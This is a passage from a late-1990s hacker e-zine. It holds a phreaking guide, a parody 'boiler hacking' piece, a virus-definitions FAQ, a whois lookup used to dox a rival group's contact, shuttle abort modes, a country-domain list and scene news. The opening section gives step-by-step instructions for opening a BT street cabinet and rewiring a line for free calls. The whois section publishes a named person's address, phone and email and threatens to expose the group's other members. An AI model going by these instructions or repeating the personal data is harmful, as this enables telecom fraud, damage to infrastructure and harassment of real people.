etc.) You now Have 3 options (i) KILL HIM!! and steal all his neat stuff * (ii) Act Intrested in his work and ask how he knows which line is yours say you want to do work experience in B.T etc/etc and he might show it to you and even explain it to you. (iii) Sabotage your line in such a way he's got to go up your pole , while he's trying to work out what the fuck you've done have a look at the filo-fax and write down all your info. * Not Recommended There are probally other ways to get your info ie. Bullshiting the B.T depot. or operators but they are not known my me , if anyone has any ideas i'd like to hear from them... STEP 2 : Decode When you have the filo-fax in your hands flick through it, near the end should be a page with your surname and telephone number.. below this should be the following .......... PCP E P DP PR 15 15 360 1922 4 What we are concerned with are the DP, PCP and P DP -- This is the pole, you can check this by going outside and looking at it . PCP/E -- This is the big green box have a look around your neighbourhood not to be confused with cable green boxes !!. P -- This is where your wire-pair are in the green box. The other letters are probally what contact your wire-pair is on the pole etc. Now You're Set To Go On An Adventure .. Wait until darkness falls , Put on your funky glow in the dark jackets, put the socket wrench in your pocket and take a visit to your local greener. Look around for nosey OAP's or other paranoid people. I actually had the shit kicked out of me by a large bloke who thought I was breaking into his house because I was looking very suspect walking around the streets stopping at the end of his road near the green box, ouch! On the front of the box there should be 2 diamond shaped things, pull out the wrench and undo them , the box should now open with ease.. You Should see loads of wires going all over the place. On the back of the left door there should be a white box (like you the one you plug your fone into back home) this is what the Enginerer uses for calls this is what we are going to swap with your house pair . How To Find Your Pair: There should be transparent plastic struts going from top to bottom, they have holes (where the wires come through) with very tiny numbers near them. The Struts are divided up into hundreds , So if your "P" was 360 you go along to the third strut and down until you find the tiny number 60 next to a hole. (see fig 1.18291739)In this hole should be some wire's, with luck they should be yours. Pull the wires out of the white-box and reconnect it to the wire pair going to your house. (the use of radios for checking might be a good idea) Fig 1.18291739 100-200 200-300 300-400 400-500 500-600 600-700 700-800 800-900 � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � �-360 � � � � � � � � � � � � � � � � � � � � � � � � � � � � � Go Home And See if You Have A Dial Tone . Congratulations.... Your house is now ready for free calls .. Dial 175 and get your new fone Number Your old line will be in limbo so you might as well stop paying line rental, so tell B.T to disconnect it. Notes for use: If You're Leaving the dodgy line permanent then make sure you hide the wires well.. If you are going to get your old line cut-off then make sure all your wiring is back as it was before. Don't tell Stupid People your number. Don't call Operators etc. When we used this method we only connected the dodgy line when we needed it, so I don't know what will happen if left on a permenent basis ???!"* The information in this file came from alot of Trial & Error so some facts may be incorrect.. (Anyway it worked for us!). ----------- WildFire ----------- ----------- AWOL '97 ----------- 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� =============================================================================== ==[ MISC ]=====================[ .SECTION D. ]=======================[ MISC ]== =============================================================================== 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� 1. Hacking Electrical Items Part 2, The Sequel : Tetsu Khan 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� LAst TiME wE WuZ Hax0Rin' ToAsTAz, So foR Dis TiMe i BeeN ThINkin On WhUT wE ShOUld hAx0R, aNd I ThOUghT, "eYe WiLL WrItE AbOuT....BOiLAhS!!! YeS, ThOsE boILaHs yEw FiNd In yOuR BaSEmEnt!!" AnD So I StArTed To pLaY ArouND WifF Muh BoiLAh AT h0me, NoW Yew caN REwt YoUr BoILah Tew!!! FiNDiNg OuT dA OS ThaT ThA BoiLaH iZ RuNNiN' -------------------------------------------- yEw Can DeW ThIS 3 WayZ... 1: LeWk FoR a StIcKA On It DaT Sez. 2: FiNd A CoNsOle On DA BoiLAh, ThEn, If IT hAs A kEYbOArd (DepEndZ oN MaNuFAcTuReR) tYpE "uname -a" AnD It WiLL Tell YeW! 3: FiNd Da ManUaL FoR YouR BOilaH (easiest way) WhEn YoU KnOw YoUr BoILaHs oPeRATinG SyStEm, yEw cAN PRocEEd To Hax0R It... --------------------------------------------------------------------------- Hax0RinG a BoILaH KaN BeE VeRy DangERous, LiKE Hax0Rin' A nuKelear PoWaHH sTAtIon, So MaKe sHuRe YeW dO ThE fOLLowiNG... 1: PuT oN PrOtECtivE CloThInG, LikE GloVeS, AnD a hAT, aNd MaYBe a sCarF, tHis Is BeCoS BaSEmEnts CaN bE CooOLD, aNd YEw WouLDnt WanT To CaTch A ChiLL wOULd YeW? 2: MaKE ShURe YeW HaVE A SpAnnEr Or WreNCH, As YoU WiLL NeEd ThEsE tO FiNd hIdDEn pOrTz AnD TeW Eye-PeE SpoOF fRom TruSteD HoStS (liKe a SinK, oR A pIpE, Or A WaSHing MaChInE) LiKE WiV ToAsTeRz, We wILL fiRsT nEeD tO FiNd HiDDeN PoRtS, So wE NeEd To ScAn FoR tHem, bOilAhz ArE BiGGer tHan tOASterz, sO ThiS MaY tAke SoMe TiMe. YeW cAn LeWk FoR SucH HiDDen PoRtS bY dOIng ThEsE tHinGs... 1: LeWKiNg ArOunD ThE BoILaH wIV yOUR EyeS. 2: TrAcInG PiPeS aLL ArOuND yOuR hOuSe (bit like traceroute programs do) 3: UsInG StEalTh TEkNiquEs By HidInG ArOuND yOuR hOuSE AnD LIsTENinG fOr WaTeR, liKE FrOm TaPs aNd StUFf... If YoU dOnT FiNd AnY HIdDen PoRtS, ThEN YeW cAN JuST LoGiN FrOM a WaSHiNG MaChIne, Or OtHeR tRUstEd HoSt On ThE NeTwOrK, wHeN yOu COnnEcT tO tHa BoiLaH FRoM tHe WasHiNg MaChINe YeW wiLL sEe sOmeThInG LiKe ThIs... +-------------------+ | GEneRaL eLeKTrIk | | M:0225 | | S:b4588 | | T:02 | +-------------------+ BoiLaH OS RelEasE 2.54 (bIg BaAAadAss BoILaH) login: BoiLaH password: <--- We AttEmPtid ThE DeFauLt "BoiLaH" ------------------------------------------------------------ L0ghINn GRaNTiD *************** ------------------------------------------------------------ WeLKoMe To bOiLAh [BOPR] bOiLiNg OpErAtIoNS PlaN rEsPonSe ------------------------------------------------------------ login on tty[wAShInG mAcHiNE] last login from BaTHrEwm.COM on tty[ShOwEr] at 7:43p.m. 1: sHuTDoWn 2: CoLd WaTeR 3: hOt wAtEr 4: UNiX TyPE SheLL ENViRONMEnT If YeW GhET THiS YEW ArE COOL)(#*$ Ok NoW CHEwZe NuMbAhh 4, ThEn YeWsE ThIS uniVeRSaL BoiLAhh ExPLoiT... % fuck yew eye am eleet and k-r4d 'cos muh name iz ZeroCool! fuck : command not found % whoami root % tHe bEst tImEs To ReWT BoILaHs Is lAtE aT nIgHt WhEn No-OnE Is LOggEd-In, CoS In ThA dAY, yEw GEt uSeRs LoGgEd iN To DoWLoAd WatEr AnD ShIt. eYe WiLL KoNItuE wItH oTheR ExAMplEs NeXt TiMe! T_K 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� 2. Virus Definitions : so1o 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� This is for all you lame fucks out there who say I infect your systems with viruses, even when the only malicious shit I code are Windoze killers, anyway here are a few definitions, just so you know what you're on about next time =) What are computer viruses (and why should I worry about them)? -------------------------------------------------------------- According to Fred Cohen's well-known definition, a COMPUTER VIRUS is a computer program that can infect other computer programs by modifying them in such a way as to include a (possibly evolved) copy of itself. Note that a program does not have to perform outright damage (such as deleting or corrupting files) in order to to be called a "virus". However, Cohen uses the terms within his definition (e.g. "program" and "modify") a bit differently from the way most anti-virus researchers use them, and classifies as viruses some things which most of us would not consider viruses. Many people use the term loosely to cover any sort of program that tries to hide its (malicious) function and tries to spread onto as many computers as possible. (See the definition of "Trojan".) Be aware that what constitutes a "program" for a virus to infect may include a lot more than is at first obvious - don't assume too much about what a virus can or can't do! These software "pranks" are very serious; they are spreading faster than they are being stopped, and even the least harmful of viruses could be fatal. For example, a virus that stops your computer and displays a message, in the context of a hospital life-support computer, could be fatal. Even those who created the viruses could not stop them if they wanted to; it requires a concerted effort from computer users to be "virus-aware", rather than the ignorance and ambivalence that have allowed them to grow to such a problem. What is a Trojan Horse? ----------------------- A TROJAN HORSE is a program that does something undocumented which the programmer intended, but that the user would not approve of if he knew about it. According to some people, a virus is a particular case of a Trojan Horse, namely one which is able to spread to other programs (i.e., it turns them into Trojans too). According to others, a virus that does not do any deliberate damage (other than merely replicating) is not a Trojan. Finally, despite the definitions, many people use the term "Trojan" to refer only to a *non-replicating* malicious program, so that the set of Trojans and the set of viruses are disjoint. What are the main types of PC viruses? -------------------------------------- Generally, there are two main classes of viruses. The first class consists of the FILE INFECTORS which attach themselves to ordinary program files. These usually infect arbitrary .COM and/or .EXE programs, though some can infect any program for which execution is requested, such as .SYS, .OVL, .PRG, & .MNU files. File infectors can be either DIRECT ACTION or RESIDENT. A direct- action virus selects one or more other programs to infect each time the program which contains it is executed. A resident virus hides itself somewhere in memory the first time an infected program is executed, and thereafter infects other programs when *they* are executed (as in the case of the Jerusalem) or when certain other conditions are fulfilled. The Vienna is an example of a direct-action virus. Most other viruses are resident. The second category is SYSTEM or BOOT-RECORD INFECTORS: those viruses which infect executable code found in certain system areas on a disk which are not ordinary files. On DOS systems, there are ordinary boot-sector viruses, which infect only the DOS boot sector, and MBR viruses which infect the Master Boot Record on fixed disks and the DOS boot sector on diskettes. Examples include Brain, Stoned, Empire, Azusa, and Michelangelo. Such viruses are always resident viruses. Finally, a few viruses are able to infect both (the Tequila virus is one example). These are often called "MULTI-PARTITE" viruses, though there has been criticism of this name; another name is "BOOT-AND-FILE" virus. FILE SYSTEM or CLUSTER viruses (e.g. Dir-II) are those which modify directory table entries so that the virus is loaded and executed before the desired program is. Note that the program itself is not physically altered, only the directory entry is. Some consider these infectors to be a third category of viruses, while others consider them to be a sub-category of the file infectors. What is a stealth virus? ------------------------ A STEALTH virus is one which hides the modifications it has made in the file or boot record, usually by monitoring the system functions used by programs to read files or physical blocks from storage media, and forging the results of such system functions so that programs which try to read these areas see the original uninfected form of the file instead of the actual infected form. Thus the viral modifications go undetected by anti-viral programs. However, in order to do this, the virus must be resident in memory when the anti-viral program is executed. Example: The very first DOS virus, Brain, a boot-sector infector, monitors physical disk I/O and re-directs any attempt to read a Brain-infected boot sector to the disk area where the original boot sector is stored. The next viruses to use this technique were the file infectors Number of the Beast and Frodo (= 4096 = 4K). Countermeasures: A "clean" system is needed so that no virus is present to distort the results. Thus the system should be built from a trusted, clean master copy before any virus-checking is attempted; this is "The Golden Rule of the Trade." With DOS, (1) boot from original DOS diskettes (i.e. DOS Startup/Program diskettes from a major vendor that have been write-protected since their creation); (2) use only tools from original diskettes until virus-checking has completed. What is a polymorphic virus? ---------------------------- A POLYMORPHIC virus is one which produces varied (yet fully operational) copies of itself, in the hope that virus scanners will not be able to detect all instances of the virus. One method to evade signature-driven virus scanners is self-encryption with a variable key; however these viruses (e.g. Cascade) are not termed "polymorphic," as their decryption code is always the same and thus can be used as a virus signature even by the simplest, signature- driven virus scanners (unless another virus or program uses the identical decryption routine). One method to make a polymorphic virus is to choose among a variety of different encryption schemes requiring different decryption routines: only one of these routines would be plainly visible in any instance of the virus (e.g. the Whale virus). A signature-driven virus scanner would have to exploit several signatures (one for each possible encryption method) to reliably identify a virus of this kind. A more sophisticated polymorphic virus (e.g. V2P6) will vary the sequence of instructions in its copies by interspersing it with "noise" instructions (e.g. a No Operation instruction, or an instruction to load a currently unused register with an arbitrary value), by interchanging mutually independent instructions, or even by using various instruction sequences with identical net effects (e.g. Subtract A from A, and Move 0 to A). A simple-minded, signature-based virus scanner would not be able to reliably identify this sort of virus; rather, a sophisticated "scanning engine" has to be constructed after thorough research into the particular virus. The most sophisticated form of polymorphism discovered so far is the MtE "Mutation Engine" written by the Bulgarian virus writer who calls himself the "Dark Avenger". It comes in the form of an object module. Any virus can be made polymorphic by adding certain calls to the assembler source code and linking to the mutation-engine and random-number-generator modules. The advent of polymorphic viruses has rendered virus-scanning an ever more difficult and expensive endeavor; adding more and more search strings to simple scanners will not adequately deal with these viruses. What is a companion virus? -------------------------- A COMPANION virus is one which, instead of modifying an existing file, creates a new program which (unknown to the user) gets executed by the command-line interpreter instead of the intended program. (On exit, the new program executes the original program so that things will appear normal.) The only way this has been done so far is by creating an infected .COM file with the same name as an existing .EXE file. Note that those integrity checkers which look only for *modifications* in *existing* files will fail to detect such viruses. (Note that not all researchers consider this type of malicious code to be a virus, since it does not modify existing files.) Miscellaneous Jargon and Abbreviations -------------------------------------- BSI = Boot Sector Infector: a virus which takes control when the computer attempts to boot (as opposed to a file infector). CMOS = Complementary Metal Oxide Semiconductor: A memory area that is used in AT and higher class PCs for storage of system information. CMOS is battery backed RAM (see below), originally used to maintain date and time information while the PC was turned off. CMOS memory is not in the normal CPU address space and cannot be executed. While a virus may place data in the CMOS or may corrupt it, a virus cannot hide there. DOS = Disk Operating System. We use the term "DOS" to mean any of the MS-DOS, PC-DOS, or DR DOS systems for PCs and compatibles, even though there are operating systems called "DOS" on other (unrelated) machines. MBR = Master Boot Record: the first Absolute sector (track 0, head 0, sector 1) on a PC hard disk, that usually contains the partition table (but on some PCs may simply contain a boot sector). This is not the same as the first DOS sector (Logical sector 0). RAM = Random Access Memory: the place programs are loaded into in order to execute; the significance for viruses is that, to be active, they must grab some of this for themselves. However, some virus scanners may declare that a virus is active simply when it is found in RAM, even though it might be simply left over in a buffer area of RAM rather than truly being active. TOM = Top Of Memory: the end of conventional memory, an architectural design limit at the 640K mark on most PCs. Some early PCs may not be fully populated, but the amount of memory is always a multiple of 64K. A boot-record virus on a PC typically resides just below this mark and changes the value which will be reported for the TOM to the location of the beginning of the virus so that it won't get overwritten. Checking this value for changes can help detect a virus, but there are also legitimate reasons why it may change. A very few PCs with unusual memory managers/settings may report in excess of 640K. TSR = Terminate but Stay Resident: these are PC programs that stay in memory while you continue to use the computer for other purposes; they include pop-up utilities, network software, and the great majority of viruses. These can often be seen using utilities such as MEM, MAPMEM, PMAP, F-MMAP and INFOPLUS. 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� 3. Fun With whois, sinnerz.com : so1o 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� Lewk WhuT eyE FoUnd... phish:~> whois sinerz.com [rs.internic.net] SIN (SINNERZ3-DOM) 130 105th Ave. S.E. Apt. 218 Bellevue, Wa 98004 USA Domain Name: SINNERZ.COM Administrative Contact: Kimminau, Suzette (SK2455) evilchic@NWLINK.COM (206)454-7176 Technical Contact, Zone Contact: Schmittel, Blair (BS469) blair@CYBER-NAUT.COM (801)654-3139 Record last updated on 26-Mar-97. Record created on 26-Mar-97. Domain servers in listed order: STRECH.CYBER-NAUT.COM 192.41.77.5 ITIS.EASILINK.COM 192.41.78.2 The InterNIC Registration Services Host contains ONLY Internet Information (Networks, ASN's, Domains, and POC's). Please use the whois server at nic.ddn.mil for MILNET Information. phish:~> fwhois sinnerz.com@nic.ddn.mil [nic.ddn.mil] No match for "SINNERZ.COM". Please be advised that this whois server only contains DOD Information. All INTERNET Domain, IP Network Number, and ASN records are kept in the Internet Registry, RS.INTERNIC.NET. ------------------------------------------------------------------------------- =--> S.I.N : [S] cared sh [I] tless lame fucks not-so-a [N] onymous. <--= ------------------------------------------------------------------------------- If sIn play this down as fake, why not phone up Evil Chic and ask if Suzey is there? You will soon find out the truth =) Expect details of all sIn members soon. 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� 4. Hacking Space Shuttles, Abort Codes : NailGun 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� Okay, if you ever decide to hack a space shuttle (*.arc.nasa.gov is hacked very frequently) and you actually plan it all out, make sure you collect all the parts of this "mini-guide" of little things that are important and you will need to know, this section concerns.... SPACE SHUTTLE ABORT MODES ------------------------- Space Shuttle launch abort philosophy aims toward safe and intact recovery of the flight crew, orbiter and its payload. Abort modes include: * Abort-To-Orbit (ATO) -- Partial loss of main engine thrust late enough to permit reaching a minimal 105-nautical mile orbit with orbital maneuvering system engines. * Abort-Once-Around (AOA) -- Earlier main engine shutdown with the capability to allow one orbit around before landing at Edwards Air Force Base, Calif.; White Sands Space Harbor (Northrup Strip), N.M.; or the Shuttle Landing Facility (SLF) at Kennedy Space Center, Fla.. * Trans-Atlantic Abort Landing (TAL) -- Loss of two main engines midway through powered flight would force a landing at Banjul, The Gambia; Ben Guerir, Morocco; or Moron, Spain. * Return-To-Launch-Site (RTLS) -- Early shutdown of one or more engines and without enough energy to reach Banjul would result in a pitch around and thrust back toward KSC until within gliding distance of the SLF. STS-35 contingency landing sites are Edwards AFB, White Sands, Kennedy Space Center, Banjul and Ben Guerir, Moron. Next time we will probably look at the payloads of space shuttles, l8r. 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� 5. Country Domain Listing : SirLance 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� Listing Of Domains By Country, like *.fr *.uk etc. etc. AD - Andorra - Andorre AE - Imarata al Arabiya al Muttahidah - Ittihad al Imirat alArabiya - United Arab Emirates AF - Afghanistan - Afghanestan AG - Antigua and Barbuda AI - Anguilla AL - Shqipëria - Albania AM - Armenia - Hayastan AN - Netherlands Antilles - Nederlandse Antillen AO - Angola AQ - Antarctica AR - Argentina AS - American Samoa AT - Austria - Osterreich AU - Australia AW - Aruba AZ - Azerbaijan - Azerbaycan BA - Bosnia and Herzegovina - Bosna i Hercegovina BB - Barbados BD - Bangladesh BE - Belgium - Belgique - Belgie BF - Burkina BG - Bulgaria BH - Bahrain - Bahrayn BI - Burundi BJ - Benin BM - Bermuda BN - Brunei BO - Bolivia BR - Brazil - Brasil BS - Bahamas BT - Bhutan BV - Bouvet Island - Bouvetoya BW - Botswana BY - Belarus - Byelarus' BZ - Belize CA - Canada CC - Cocos (Keeling) Islands (Australia) CF - Central Africa CG - Congo CH - Switzerland - Schweiz - Suisse - Svizzera - Svizra - Helvetia CI - Cote d'Ivoire CK - Cook Islands CL - Chile CM - Cameroon CN - China CO - Colombia CR - Costa Rica CS - Czechoslovakia CU - Cuba CV - Cape Verde - Cabo Verde CX - Christmas Island (Australia) CY - Cyprus CZ - Czech Republic - Cechy DD - Germany - Deutschland DE - Germany - Deutschland DJ - Djibouti DK - Denmark - Danmark DM - Dominica DO - Dominican Republic - Republica Dominicana DZ - Algeria - Jaza'ir EC - Ecuador EE - Estonia - Eesti EG - Egypt - Misr EH - Western Sahara ER - Eritrea ES - Spain - Espana ET - Ethiopia - Ityop'iya FI - Finland - Suomi FJ - Fiji FK - Falkland Islands FM - Micronesia FO - Faroe Islands - Faroyar FR - France FX - Metropolitan France GA - Gabon GB - United Kingdom GD - Grenada GE - Georgia - Sak'art'velo GF - French Guiana - Guyane GH - Ghana GI - Gibraltar (UK) GL - Greenland - Kalaallit Nunaat GM - The Gambia GN - Guinea - Guinee GP - Guadaloupe (France) GQ - Equatorial Guinea - Guinea Ecuatorial GR - Greece - Ellas GS - South Georgia GT - Guatemala GU - Guam GW - Guinea-Bissau - Guine-Bissau GY - Guyana HK - Hong Kong (UK) HM - Heard Island and McDonald Islands (Australia) HN - Honduras HR - Croatia - Hrvatska HT - Haiti HU - Hungary - Magyarorszag ID - Indonesia IE - Ireland - Éire IL - Israel - Yisra'el IN - India - Bharat IO - Indian Ocean Territory (UK) IQ - Iraq IR - Iran IS - Island - Iceland IT - Italy - Italia JM - Jamaica JO - Jordan - Urdun JP - Japan KE - Kenya KG - Kyrgyzstan KH - Cambodia - Kampuchea KI - Kiribati KM - Comoros - Comores KN - Saint Kitts and Nevis KP - Korea - Choson KR - Korea KW - Kuwait - Kuwayt KY - Cayman Islands KZ - Kazakhstan LA - Laos LB - Lebanon - Lubnaniyah LC - Saint Lucia LI - Liechtenstein LK - Sri Lanka LR - Liberia LS - Lesotho LT - Lithuania - Lietuva LU - Luxembourg LV - Latvia - Latvija LY - Libya - Libiya MA - Morocco - Maghrib MC - Monaca MD - Moldova MG - Madagascar MH - Marshall Islands MK - Macedonia - Makedonija ML - Mali MM - Burma - Myanma MN - Mongolia - Mongol Uls MO - Macau MP - Northern Mariana Islands MQ - Martinique (France) MR - Mauritania - Muritaniyah MS - Montserrat MT - Malta MU - Mauritius MV - Maldives MW - Malawi MY - Malaysia MZ - Mozambique - Mocambique NA - Namibia NC - New Caledonia - Nouvelle-Caledonie NE - Niger NF - Norfolk Island (Australia) NG - Nigeria NI - Nicaragua NL - Netherlands - Nederland NO - Norway - Norge NP - Nepal NR - Nauru NU - Niue NZ - New Zealand OM - Oman - Uman PA - Panama PE - Peru PF - French Polynesia - Polynesie Francaise PG - Papua New Guinea PH - Philippines - Pilipinas PK - Pakistan PL - Poland - Polska PM - Saint-Pierre et Miquelon PN - Pitcairn Islands PR - Puerto Rico PT - Portugal PW - Palau - Belau PY - Paraguay QA - Qatar RE - Reunion RO - Romania RU - Russia - Rossiya RW - Rwanda SA - Saudi Arabia - Arabiya as Suudiyah SB - Solomon Islands SC - Seychelles SD - Sudan SE - Sweden - Sverige SG - Singapore - Singapura SH - Saint Helena (UK) SI - Slovenia - Slovenija SJ - Svalbard og Jan Mayen SK - Slovakia - Slovensko SL - Sierra Leone SM - San Marino SN - Senegal SO - Somalia SR - Suriname ST - Sao Tome e Principe SU - Soviet Union - Sovietskiy Soyuz SV - El Salvador SY - Syria - Suriyah SZ - Swaziland TC - Turks and Caicos Islands TD - Chad - Tchad TF - Southern and Antarctic Lands - Terre Australes et Antarctiques TG - Togo TH - Thailand TJ - Tajikistan - Tojikiston TK - Tokelau (New Zealand) TM - Turkmenistan - Tiurkmenostan TN - Tunisia - Tunis TO - Tonga TP - Timor TR - Turkey - Turkiye TT - Trinidad and Tobago TV - Tuvalu TW - Taiwan - T'ai-wan TZ - Tanzania UA - Ukraine - Ukrayina UG - Uganda UM - United States Minor Outlying Islands US - United States of America UY - Uruguay UZ - Uzbekistan - Uzbekiston VA - Holy See VC - Saint Vincent and the Grenadines VE - Venezuela VG - Virgin Islands (UK) VI - Virgin Islands (USA) VN - Vietnam - Viet Nam VU - Vanuatu WF - Wallis et Futuna WS - Samoa YD - Yemen YE - Yemen YT - Mayotte (France) YU - Yugoslavia ZA - South Africa ZM - Zambia ZR - Zaire ZW - Zimbabwe 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� =============================================================================== ==[ NEWS ]=====================[ .SECTION E. ]=======================[ NEWS ]== =============================================================================== 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� 1. CoreWars : so1o / od|phreak 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� od|phreak was telling me about an idea he had, then called just "Hacker Wars" it was about teams, or groups of hackers who had a league system and hacked each others systems to gain points... We both made sets of rules and decided on a name also, CoreWars...Here are the rules as to date : - 6 hackers per team. - Each team has 2 systems. - The systems must run linux, and be up 24/7. - The game is played from a friday at midnight to a sunday at midnight (48 hours). - On systems owned by the team, each user may have one account, with any systems priveleges. - Each team has 1 account on each enemy system - 2.5mb quota per account - must be a normal user Rules : ------- - super users on opposing teams are NOT allowed to intervine with other hackers, this includes killing, writing to their terminals, or disturbing them in any way shape or form, however, super users are allowed to use snoop and other programs to monitor opposing team members, but they cannot DIRECTLY step in and kill the user. super users CANNOT delete files created by the opposing team members, however they ARE allowed to delete files if they have been MODIFIED, like /etc/motd. - teams conquer a system by forcing it to be shut down, switched off, or any other measure that prevents persons from connecting or using that system. This can include rm'ng the hard drive or any other suitable measure. The Winning Team Is The Last Team With A System That Has Not Been Shut Down. if you shut a system down : 100 points if your system gets shut down : -50 points if you keep both of your systems up : 25 points if you lose both of your systems : -25 points On Sunday midnight, all points are worked out, and the league positions are calculated. These Rules Are Currently Being Changed : http://www.neonunix.org/corewars/ Suggestions to myself or od|phreak... So, if you have a team of 6 that you would like to enter in CoreWars, mail corewars@ with your team name, details, system IP and other relevant information... 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� 2. Technophoria Want A Piece Of CodeZero Too? : so1o 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� Technophoria, based at www.technophoria.com, did *NOT* hack our webpage at www.neonunix.org/codezero/ as i dont even have a l/p to neonunix.org, anyway, they uploaded this shiznit to the page, obviously with neonunix's account, which is the only one on the system... Dont talk shit about Technophoria


-Particle Man

Hmmm, who the fuck is Particle Man?! last time I checked the Technophoria member list it had... Deprave BroncBuster Sludge Acid Angel Modify The Messiah Banshee Now, I dont get on well with Modify or The Messiah (who are in like, 3 other groups each) but Deprave is a good friend, Sludge and Acid I have never met and Bronc is cool. I dont know whats goin down wit that shit, but the last thing I need is some punk trying to say that I write shit about Technophoria, seeing I have never written a thing about them, but anyway, if you do visit the Technophoria WWW site, you will see that sIn and Technophoria are working on the same project with the same people, Utopia (mentioned in the last issue by *OD�PHREAK*) I wonder who will take the credit and / or release the actual program, hmm..I talked to The Messiah... Utopia will be a encryption utility, release by SIN/Technophoria, written by The Messiah and Fucking Hostile. No release date is given. encryption util? for what purposes? Encrypting files, clipboard, and an editor, like Puffer. thru windoze? Yes. ahh 16 bit. With plans for a 32 bit version. because doesnt pgp do that and alot more? No, it doesn't. what kind of encryption are we talking about? PGP only uses ONE algorithm, IDEA. About 16 different algorithms. and yours will use? RC4, RC5, IDEA, Blowfish, DES, SuperIDEA... I'm still looking into that... isnt that just ripping other peoples shit? blatently No. If so then PGP is ripping. Puffer is ripping. The source for almost all algorihtms is released. So ppl can evaluate it.. what about RC5 source then? Have it. okay... so you have all your algorithms RSA condones non-commercial use of RC4 and RC5. Pretty much. but how will the program work then? Right now I'm wondering which algorihtms to put into it. will it have secret keys and public keys like pgp ? You select an algorihtm, files, and hit encrypt... No, symetric key encryption. One password... isnt that a bit unsecure? I'm making a public key encryption program later on... No, it isn't. seeing then the password will have to be given to the other user over a medium such as IRC You can't transmit keys, true... which can be logged But this isn't for communication as much as file storgae... People can use PGP to transmit keys... so what will the program include? Hmmm... what won't it? I'm hoping to include some steganography in it... It'll be something like Puffer, only WAY better... okzy 1st release will be 16-bit right? Yes... will it have any problems running thru 95 / NT ? Nope. I'm using Win95... will users need .dll files to run it? One. But that'll come included... No VB bullshit... It's made in Delphi, so the runtime library is in the EXE... delphi i code borland c++ Get C++ Builder then... i plan on doing so Like Delphi, but uses C++... okie, l8r cya 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� 3. Global kOS News And Questions / Answers : Spidey 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� There have been several rumors circulating about what happened to us since globalkos.org went down. They range from us being busted by feds to stories about purple shrouds and phenobarbital. There have also been rumors about dissention among our ranks and group infighting. Q: What happened to globalkos.org? Did the feds shut it down? Did their ISP shut it down? Did they move their site to keep it hidden? A: Half of us didn't feel like paying for it. We weren't shut down, nor is the site hidden out there somewhere. We're looking into alternatives. Q: Did Acid Angel leave GkOS for Technophoria? A: No. He is working with the guys at Technophoria, but he is still a part of Global kOS. Q: Did Silicon Toad leave the group altogether? A: Somebody came up with this one on the basis of a broken link at globalkos.org. ST moved his site, and no one bothered to update the link. Through some stretch of logic this guy decided it meant ST split. Q: What about Up Yours 4? A: It's slated for release on March 30th. Q: Did GkOS get busted? A: No. Q: I thought Cobra (Vortex, Morbid Disorder, Kludge, or Ryan) was a member of GkOS. A: I've never even heard of these people. They are not present, nor former members. Our members are: Acid Angel Glitch Materva Raven Shadow Hunter Silicon Toad Spidey That Guy Zaven Q: I heard there was a major disagreement within the group, and there's a civil war going on between them. Is it true? A: No. This is completely unfounded. Whoever started this one pulled it straight out of his ass. 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� 4. www.ncaa.com Hack Makes News : so1o 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� Conflict member TiK hacked www.ncaa.com, he made TV news, papers, and big internet news, statements from the NCAA and other organisations can be found on www.infowar.com, so1o never believed TiK would or could hack such a site due to the high security levels, but good 'ole TiK proved us all wrong, expect the index.html s00n! 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� 5. CodeZero To Release sunOS 5.x RootKit : so1o 